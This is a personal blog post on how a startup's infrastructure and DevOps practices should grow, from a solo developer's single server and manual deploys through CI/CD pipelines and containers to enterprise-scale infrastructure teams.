My continuous integration consisted of having the Notepad open, doing CTRL+S, and then uploading that file via FTP to the specific folder. You might ask how I did the version control. I didn’t. My version control was CTRL+Z as often as I needed to return to the necessary history. It was a game of Russian roulette — will I be able to get back to a working version or continue based on what I have now? I mostly lost.

Staging environment? Pfff, I wrote stuff locally and verified it on production. The key was to have two files, index_copy.php and index.php. If it worked, it worked. If it doesn’t, I can always copy the old one back.

Smart coding in 2007

I was living the dream. Excitement, experimentation, moving fast, breaking things, then breaking some more things, and sleepless nights to fix bugs. But I enjoyed every minute of it.

Anyways, back then, I’ve enthusiastically launched many products and was super proud of the stuff I’ve built. I mean, it DID WORK, and I could always fix a bug if necessary. My iteration speed was through the roof — nothing could stop me. I had no processes, so why should I have slowed down?

With each product, my initial focus was on proving the concept and making sure the core logic of the business resonates with the audience. I understood that spending hours, perhaps days, wrestling with a sophisticated Infrastructure or a complex CI/CD pipeline might not be the wisest investment. OK, I’m kidding. I didn’t even know about pipelines back then.

That’s what we’re going to talk about today, about all the stuff that I didn’t know back then and learned later in life. How I did DevOps when I was coding alone becomes a disaster once you start growing the team. I know that for a fact. Since those early days of coding with Notepad, I’ve grown a lot, built more things, grown more teams, made a loooot more mistakes, and now I’m going to tell you how I think your startup tech stack should evolve — from a one-person show, up-to fully compliant solution dealing with hundreds of thousands of requests per second (yes I also dealt with that).

As always, these are my subjective thoughts; you might disagree; if you do, welcome to the comments.

Zero Funding Tech Stack

For all the solo developers — use what feels right for you based on the level of your coding expertise. You don’t need the largest ship with the most advanced navigation systems; you need a vessel that you’re familiar with, that is agile and capable of getting you from point A to point B. From “nothing works” to “users get what they paid for.”

There are three types of developers at this point:

  1. Ex-Engineers. Those who know how to code and are eager to use all the cool tools that they didn’t have a chance to use in their day jobs.
  2. Those who just learned how to code and are eager to build their own product. Maybe they watched YouTube videos or did some bootcamp and dived right into their product development, but lack the experience — which they will be picking up during development. Learning by doing.
  3. Those who don’t know how to code but have a ton of enthusiasm. (We’re not going to touch on this, as I’m not an expert in NoCode solutions).

Each of those has a different level of “comfort” and a different level of complexity of their preferred tech stack, and that’s totally fine; all of them are valid. The ex-engineer might be comfortable with Cloud-based solutions and automatic deployments from the main branch based on GitHub Actions or Bitbucket Pipelines because that’s what they’re used to.

Enjoyed the read? Join a growing community of more than 2,500 (🤯) future CTOs.

Those who just learned how to code might not know that you can have automatic deployments; they always did it manually and didn’t know any better, and that’s also fine at this moment. They might not be as fast as the ex-engineer, but their enthusiasm can outperform the experience.

The more comfortable the stack, the faster you will develop. At this point your only criteria if your stack is good or not — are there users using it and do they enjoy it? If yes, great, your stack is good enough.

The key is to balance the desire for flexibility, i.e., “over-engineering,” with the need for speed, i.e., “getting shit done.” The more you grow, the more your tech stack will start looking like everyone else.

Here’s an experience from Egor Romanov, who started his own startup and set up quite a complicated microservices infrastructure that took him about three months to build but allowed him to be extra flexible when adapting to new requirements.

💡A lot of people think that your Infrastructure needs to resemble Google from day one. You’re comparing your Day 0 with Facebook, Netflix, and Amazon Year 20. That doesn’t sound fair, right?

I consider this a great example of going down the DevOps rabbit hole and making everything way too dynamic. Does it work? Yes. Was it fun to build? Yes. Did it make sense? Probably not.

From Egor blog. Source

Egor writes about how it would’ve been better with a simpler infrastructure, using sort of a PaaS solution Supabase, which had a lot of in-built features that were necessary for him at that time:

Instead of spending a few months building microservices, we could have been focusing on what really mattered: our users and our product. I would invest all my time in searching for a mobile developer, and instead of infra, I would be able to focus on the backend. Supabase would have made setting up and managing a database a breeze, with built-in services that would have replaced most of our microservices. It would have saved us time, money, and headaches. And it wouldn’t have lost us the ability to adapt to changes and requirements, which was one of our most significant advantages.

Egor Romanov

I suggest you go read the article in full, it has some great insights.

In the end, it doesn’t matter how you start. Your stack will likely converge to a more standard one the more you grow, even if you start with a Webflow + NoCode solution. All roads lead to Rome.

So what will the infrastructure look like at this point? Something similar to this:

Simple. Straightforward. Open for growth.

As you can see, at this point, we don’t have anything complicated. When you’re just starting out, this is enough.

  1. A single machine that runs all your frontend and backend applications. Your goal is to scale via code, not via Infrastructure, at this point.
  2. No Load Balancers, No Autoscaling groups. A single reverse proxy should be more than enough to help you monitor your traffic and do whatever filtering is needed before forwarding traffic to your application.
  3. No Gateways and VPCs. Everything talks exclusively locally, on a single machine.
  4. No Kubernetes and Orchestration, unless you’re very comfortable with that.
  5. No need to set up separate deployment pipelines for each of the microservices. The headache increases with each microservice that you add.
  6. Free to scale as you wish from this setup. The sky’s the limit from this point.

Many solo developers or freshly minted startups lean towards using boilerplate code or starter kits, which come pre-packaged with common SaaS functionalities like user management, payment integration, basic configurations for deployment, and rudimentary dashboards. And I recommend you also do this. Why reinvent the wheel when you can already have a fully functional basic app with a few clicks?

At this point, you might say, “I have a complex multi-tenant multi-user startup that needs two different applications, e.g., deliverers and customers, or sellers and buyers; they need their own services, separate instances,” but why? It’s much much easier to build everything together rather than splitting it up; why solve non-existing problems when you need to concentrate on providing value to the users?

From Zero to Hero

Now that you’ve grown to a point where you have:

  • more developers working on your product
  • more clients who rely on your product
  • more resources to invest in all aspects around your core features.

I’d like to emphasize that investing in DevOps should come after you have your product market fit and your product has enough traction. I’ve worked with multiple startups that had non-existing CI/CD, and a single machine that contained everything. They deployed manually by copying a zip file, unzipping it, and then restarting the application via CLI. Even three years after they got funded. And that’s fine. DevOps is a luxury problem.

So let’s assume you have the resources and the need. When your startup transitions from indie development status to a team effort — the dynamics of development and deployment undergo a slight transformation. You can no longer just push to the main branch and then deploy yourself; you need to coordinate and have some automation. Ad-hoc processes give way to the necessity for structured workflows that enable parallel work without stepping on each other’s toes.

Your Coding/Deployment might look something like this:

CI/CD Architecture at this point. Source

The core things to remember here are:

  1. Implement a branching model like Git Flow or GitHub/Gitlab Flow to manage features, fixes, and releases. This ensures that the main branch always remains stable and deployable.
  2. There’s a build server where stuff is pulled from your repository. Jenkins or CircleCI are good choices here, but there are many different alternatives, choose whichever you feel more comfortable with.
  3. There’s automation logic on the build server, which triggers deployment to testing, staging, and production environments based on some checks — e.g., unit tests, linters, and approvals.
  4. Every cloud provider — AWS, Google, Azure — has the whole CI/CD automated with their services. So, if you’re going full Serverless, there are services like Cloud Repositories, which you can integrate with Cloud Build and Cloud Run to automate the whole thing.

Your application might also start looking something like this:

As you can see from the diagram, there are a few low-hanging fruits that you can start adding:

  1. Load Balancer. Having nginx is enough for most cases, but Load balancing also gives you an Application Firewall, hides your app IP, and, in general, provides you with more security at most of the cloud services.
  2. Start containerizing your application; no more manual node index.js. Tools like Docker can encapsulate your application and its environment into containers, ensuring consistency across development, testing, and production.
  3. I remember how good it felt to have a Vagrant file for a reproducible dev environment. I highly recommend you utilize configuration management tools like Ansible, Chef, or Puppet to automate the setup of development environments, reducing setup time and increasing reproducibility. There might be other, better tools than those that I’ve mentioned that were developed recently.
  4. Firewall + separate VPC + Bastion host. A single port 22 should be open on the bastion, and every service should run inside that private network. (The next step would be to utilize an Identity Aware Proxy that basically replaces Bastion. Here’s some more reading on this topic.)
  5. Caching and CDN. Moving your static assets to some speedy storage is going to increase your customer satisfaction by a lot.
  6. Background Jobs. You can start setting up separate instances/services for background jobs instead of running them on the same server. You’ll need a queue for that + triggers + some processing logic.

As I said above, DevOps is a luxury problem, but as you grow, you will eventually hit bottlenecks if you don’t invest in it. The stuff that I’ve listed above is enough to serve you for the next five years.

After this, it becomes even more complicated — better security, more compliance, more granular access control, and more redundancy.

From Hero to Enterprise

We’re getting to a point where you, as a CTO or technical manager, no longer need to keep everything in your head. Your role here is less about being the expert in every detail and more about orchestrating a symphony of skilled professionals, each an expert in their domain. Smarter than yourself.

A typical infrastructure landscape looks like this:

It gets complicated

As you can see, we’re separating a lot of stuff into their own services. Container Registry, Certificate Managers, Secret Managers, IAM, different subnet groups for different services, and many different environments are all orchestrated by CloudFormation (as an example).

There’s no way a single person should maintain such an infrastructure; there are just too many things to keep in mind, and your daily to-do list will only grow longer. As the scale and complexity of your operations grow, having specialized teams for different aspects of DevOps becomes essential.

At this point you should consider splitting up your Infrastructure into different teams:

  • Delivery Team: Responsible for CI/CD pipelines, they ensure that software is tested, built, and deployed efficiently and reliably.
  • Tooling Team: Focuses on providing the internal tools and systems needed for development, testing, and operations. This includes everything from internal dashboards to log management systems to code review tooling.
  • Monitoring Team: Implements monitoring solutions like Prometheus, Grafana, or Datadog to track application performance and health. Cross-Team alerts, on-call processes.
  • Infrastructure Team: Manages the underlying servers, cloud services, and network infrastructure. They ensure that the infrastructure is scalable, reliable, and secure — complex TerraForm, Ansible, CloudFormation setups. They focus on the Infrastructure as Code. They have their own repositories where they develop the platform code that provisions the resources necessary to run your application.
  • Security Team: Responsible for the penetration tests, certificates, key rotations, IAM Access.
  • Compliance Team: Making sure the legal and the IT work smoothly together. This often involves audit trails, access controls, and regular security assessments.

In summary, the transition to enterprise level involves building teams with people smarter than you, who can tell you better than I can how to properly set up your infrastructure. It’s no longer possible for you to do any hands-on work here. As a CTO, your role is to guide this transition, ensuring that your infrastructure and teams are not just equipped for today’s challenges but are also prepared for tomorrow’s opportunities.

So TL;DR;

  1. When you’re starting out — there is no need to go for a fancy solution that is ready to serve a million concurrent users right away.
  2. DevOps is a luxury problem.
  3. Once you’ve grown to have such problems, you can start investing resources into more robust and more complicated deployment and server architecture.
  4. Enterprise is about assembling smarter people than you and splitting the infrastructure into sub-divisions.

Have fun building!

Other Newsletter Issues:

The post Startup Infrastructure: Scaling from Zero to Enterprise appeared first on Vadim Kravcenko.